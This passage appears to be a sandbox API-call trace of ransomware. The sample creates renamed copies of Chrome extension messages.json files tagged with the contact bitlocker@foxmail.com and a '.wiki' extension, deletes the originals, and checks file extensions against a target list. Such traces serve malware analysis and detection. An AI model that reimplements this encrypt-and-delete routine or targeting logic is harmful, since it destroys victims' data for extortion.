halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.910] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.911] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0178.911] GetLastError () returned 0x0 [0178.911] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x30a, lpOverlapped=0x0) returned 1 [0178.913] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x310, lpOverlapped=0x0) returned 1 [0178.913] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.913] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.914] SetEndOfFile (hFile=0x1a0) returned 1 [0178.914] CloseHandle (hObject=0x1a0) returned 1 [0178.914] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.914] SetEndOfFile (hFile=0x1ac) returned 1 [0178.915] CloseHandle (hObject=0x1ac) returned 1 [0178.915] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.915] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json")) returned 1 [0178.915] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.915] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.915] lstrlenW (lpString=".doc") returned 4 [0178.915] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.915] lstrlenW (lpString=".docx") returned 5 [0178.915] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.915] lstrlenW (lpString=".pdf") returned 4 [0178.915] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.915] lstrlenW (lpString=".xls") returned 4 [0178.915] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.915] lstrlenW (lpString=".xlsx") returned 5 [0178.916] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.916] lstrlenW (lpString=".ppt") returned 4 [0178.916] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.916] lstrlenW (lpString=".zip") returned 4 [0178.916] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.916] lstrlenW (lpString=".rar") returned 4 [0178.916] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.916] lstrlenW (lpString=".bz2") returned 4 [0178.916] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.916] lstrlenW (lpString=".7z") returned 3 [0178.916] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.916] lstrlenW (lpString=".dbf") returned 4 [0178.916] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.916] lstrlenW (lpString=".1cd") returned 4 [0178.916] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.916] lstrlenW (lpString=".jpg") returned 4 [0178.916] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.916] lstrlenW (lpString=".doc") returned 4 [0178.916] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.916] lstrlenW (lpString=".docx") returned 5 [0178.916] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.916] lstrlenW (lpString=".pdf") returned 4 [0178.916] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.917] lstrlenW (lpString=".xls") returned 4 [0178.917] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.917] lstrlenW (lpString=".xlsx") returned 5 [0178.917] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.917] lstrlenW (lpString=".ppt") returned 4 [0178.917] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.917] lstrlenW (lpString=".zip") returned 4 [0178.917] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.917] lstrlenW (lpString=".rar") returned 4 [0178.917] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.917] lstrlenW (lpString=".bz2") returned 4 [0178.917] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.917] lstrlenW (lpString=".7z") returned 3 [0178.917] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.917] lstrlenW (lpString=".dbf") returned 4 [0178.917] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.917] lstrlenW (lpString=".1cd") returned 4 [0178.917] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 155 [0178.917] lstrlenW (lpString=".jpg") returned 4 [0178.917] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.917] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.917] lstrlenW (lpString="messages.json") returned 13 [0178.917] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.918] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=669) returned 1 [0178.918] CloseHandle (hObject=0x1ac) returned 1 [0178.918] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json")) returned 0x2020 [0178.918] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.918] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.918] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0178.919] GetLastError () returned 0x0 [0178.919] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x29d, lpOverlapped=0x0) returned 1 [0179.177] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0179.481] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.481] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.481] SetEndOfFile (hFile=0x1a0) returned 1 [0179.481] CloseHandle (hObject=0x1a0) returned 1 [0179.481] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.481] SetEndOfFile (hFile=0x1ac) returned 1 [0179.482] CloseHandle (hObject=0x1ac) returned 1 [0179.482] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.482] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json")) returned 1 [0179.483] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.483] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.483] lstrlenW (lpString=".doc") returned 4 [0179.483] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.483] lstrlenW (lpString=".docx") returned 5 [0179.483] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.483] lstrlenW (lpString=".pdf") returned 4 [0179.483] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.483] lstrlenW (lpString=".xls") returned 4 [0179.483] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.483] lstrlenW (lpString=".xlsx") returned 5 [0179.483] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.483] lstrlenW (lpString=".ppt") returned 4 [0179.483] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.483] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.483] lstrlenW (lpString=".zip") returned 4 [0179.483] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.483] lstrlenW (lpString=".rar") returned 4 [0179.483] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.483] lstrlenW (lpString=".bz2") returned 4 [0179.483] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.483] lstrlenW (lpString=".7z") returned 3 [0179.483] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.483] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.483] lstrlenW (lpString=".dbf") returned 4 [0179.483] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.483] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.483] lstrlenW (lpString=".1cd") returned 4 [0179.483] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.483] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.483] lstrlenW (lpString=".jpg") returned 4 [0179.483] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.484] lstrlenW (lpString=".doc") returned 4 [0179.484] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.484] lstrlenW (lpString=".docx") returned 5 [0179.484] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.484] lstrlenW (lpString=".pdf") returned 4 [0179.484] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.484] lstrlenW (lpString=".xls") returned 4 [0179.484] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.484] lstrlenW (lpString=".xlsx") returned 5 [0179.484] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.484] lstrlenW (lpString=".ppt") returned 4 [0179.484] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.484] lstrlenW (lpString=".zip") returned 4 [0179.484] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.484] lstrlenW (lpString=".rar") returned 4 [0179.484] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.484] lstrlenW (lpString=".bz2") returned 4 [0179.484] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.484] lstrlenW (lpString=".7z") returned 3 [0179.484] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.484] lstrlenW (lpString=".dbf") returned 4 [0179.484] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.484] lstrlenW (lpString=".1cd") returned 4 [0179.484] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 155 [0179.484] lstrlenW (lpString=".jpg") returned 4 [0179.484] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.485] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.485] lstrlenW (lpString="messages.json") returned 13 [0179.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.485] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=1099) returned 1 [0179.485] CloseHandle (hObject=0x1ac) returned 1 [0179.485] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json")) returned 0x2020 [0179.485] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0179.486] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.486] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0179.486] GetLastError () returned 0x0 [0179.486] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x44b, lpOverlapped=0x0) returned 1 [0179.487] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x450, lpOverlapped=0x0) returned 1 [0179.488] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.489] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.489] SetEndOfFile (hFile=0x1a0) returned 1 [0179.489] CloseHandle (hObject=0x1a0) returned 1 [0179.489] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.489] SetEndOfFile (hFile=0x1ac) returned 1 [0179.490] CloseHandle (hObject=0x1ac) returned 1 [0179.490] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 